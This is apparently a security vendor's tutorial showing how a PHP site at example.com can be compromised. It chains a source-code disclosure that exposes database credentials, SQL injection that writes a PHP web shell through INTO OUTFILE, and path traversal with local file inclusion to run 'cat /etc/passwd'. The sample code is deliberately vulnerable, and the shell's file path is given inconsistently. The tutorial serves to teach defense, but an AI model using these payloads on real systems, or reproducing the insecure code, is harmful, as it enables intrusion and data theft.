Source code often contains some form of sensitive information. It may be configuration-related information (e.g. database credentials) or simply information about how the web application works. If source code files are disclosed, an attacker may potentially use such information to discover logical flaws. This may escalate to a chain of attacks, which would not be possible without access to the application’s source code. These may include attacks such as SQL Injection, database takeovers, and remote code execution.
Many web applications serve non-HTML files, for example, PDFs, image files, and Word documents customized for a specific user. For example, this web application at example.com allows users to download PDF files using hyperlinks:
If you follow the link, you make an HTTP GET request to a download.php script with a filename parameter. More specifically, the browser sends the following request to the web server when you click the link:
http://www.example.com/download.php?filename=aboutus.pdf
The download.php script seems to allow users to download a specific file from the server. Based on this assumption, you can try to send a request to download.php, passing download.php as the value for the filename parameter. The resulting URL is as follows:
http://www.example.com/download.php?filename=download.php
As a result, the server-side source code of the file download.php is served to the browser. The PHP code reveals that the script is performing absolutely no user input validation.
<?php
// Import global config values
include('admin/config.php');
// Get the filename passed by the user
$filepath = $_GET['filename'];
if ($filepath) {
$connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);
mysql_select_db('logs', $connection);
if (!link) {
die('Could not connect: ' . mysql_error());
}
$user_agent = $_SERVER['HTTP_USER_AGENT'];
// Used by stats.php to track download trends
$sql = "INSERT INTO stats VALUES ('$filepath', now(), '$user_agent')";
$result = mysql_query($sql, $connection);
if (!$result) {
echo 'DB Error: ' . mysql_error($connection);
exit;
}
// Clean-up and send file
mysql_close($connection);
header('Content-Disposition: attachment; filename=' . basename($filepath));
readfile($filepath);
}
Escalating the Attack
The contents of download.php reveals more information. For example, you can see an interesting comment: Used by stats.php to track download trends. There is also an include
directive that includes the admin/config.php file.
You can use this information to go through the application directory and gain more information before escalating the attack. Using the source code disclosure vulnerability, download two more files. The first one is admin/config.php:
http://www.example.com/download.php?filename=admin/config.php
<?php
$cfg['TITLE'] = 'Vulnerable Host';
$cfg['BASE_URL'] = 'http://www.example.com/';
$cfg['DATABASE']['TYPE'] = 'mysql';
$cfg['DATABASE']['HOST'] = 'localhost';
$cfg['DATABASE']['UNAME'] = 'root';
$cfg['DATABASE']['PASS'] = 'toor';
?>
You now know that the database is hosted on the same server as the web application and that the database server is MySQL on localhost. You cannot connect to it, because it does not accept any external connections. The second file to download is stats.php:
http://www.example.com/download.php?filename=stats.php
<?php
// Import global config values
include('admin/config.php');
print '<table style="width:100%">';
print '<tr><th>Available Files</th>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=aboutus.pdf>About Us (PDF)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=pricing.html>Pricing (HTML)</a></td>';
print '<tr><td><a href=' . $cfg['BASE_URL'] . 'stats.php?filename=services.pdf>Services (PDF)</a></td>';
print '</table>';
print '<br>'; print '<br>';
$filepath = $_GET['filename'];
if ($filepath) {
// Import the user-specified file
include($filepath);
$connection = mysql_connect($cfg['DATABASE']['HOST'], $cfg['DATABASE']['UNAME'], $cfg['DATABASE']['PASS']);
mysql_select_db('logs', $connection);
if (!link) {
die('Could not connect: ' . mysql_error());
}
$sql = "SELECT * FROM stats WHERE filename = '$filepath'";
$result = mysql_query($sql, $connection) or die(mysql_error());
print '<table style="width:100%; border: 1px solid black; text-align: left;">';
print '<tr><th>Filename</th><th>Timestamp</th><th>User-Agent String</th></tr>';
while ($row = mysql_fetch_assoc($result)) {
print "<tr>";
foreach ($row as $column => $value) {
print "<td style='text-align: left;'>$value</td>";
}
print "</tr>";
}
print '</table>';
}
The stats.php file provides the history of all downloads for a particular set of files. The logs are fetched directly from the same table that they are inserted into from download.php. This interesting information suggests that there may be an SQL Injection vulnerability.
SQL Injection
Because you know that the database is based on MySQL, you can use SQL Injection techniques designed for MySQL. First, fetch the version of MySQL using the following payload:
http://www.example.com/stats.php?filename=' UNION SELECT @@version, null, null#
Looks like the server is running Ubuntu 14.04.1 and MySQL 5.5.49. Now you can try to place a web shell onto the server by using the SELECT … INTO OUTFILE … statement. The web shell should be placed in an unrestricted part of the server’s file system, which is easy to access. In this case, since it is running Ubuntu 14.04.1, you can place the file in /tmp/, which does not hold any user restrictions. You can use the following simple PHP web shell that lets you execute a system command by passing it via a GET parameter (e.g. ?cmd=whoami
):
<?php echo(system($_GET["cmd"])); ?>
You need to execute the following statement:
SELECT * FROM stats WHERE filename = '' UNION SELECT '<?php system($_GET["cmd"]); ?>', '', '' INTO OUTFILE '/tmp/cmd.php';#
Extend the query using a UNION directive and the SELECT … INTO OUTFILE … directive. This lets you save a file called cmd.php. If the filename parameter is empty, no other data is written to this file.
Combining the above information, you can use the following request to create the malicious file:
http://www.example.com/stats.php?filename=' UNION SELECT '<?php echo(system($_GET["cmd"])); ?>', '', '' INTO OUTFILE 'cmd.php';#
The request returns no values to the web page. This is a good sign, as it indicates that the output has been successfully written.
The Last Step
Since the web shell is in /tmp/, you need to figure out a way to not only access (read) but also invoke the cmd.php file. You can exploit a Directory Traversal (Path Traversal) vulnerability to read the file and a Local File Inclusion vulnerability to invoke the web shell. Try the following request:
http://www.example.com/stats.php?filename=../../../../../../../../../../../../../../tmp/cmd.php&cmd=cat /etc/passwd
Recommendations
Discovering all of the above vulnerabilities manually requires a lot of time and effort. You could also miss other potential vulnerabilities, for example, Cross-site Scripting. Instead, to maintain full IT security, you can just use the Acunetix Vulnerability Scanner.
Get the latest content on web security
in your inbox each week.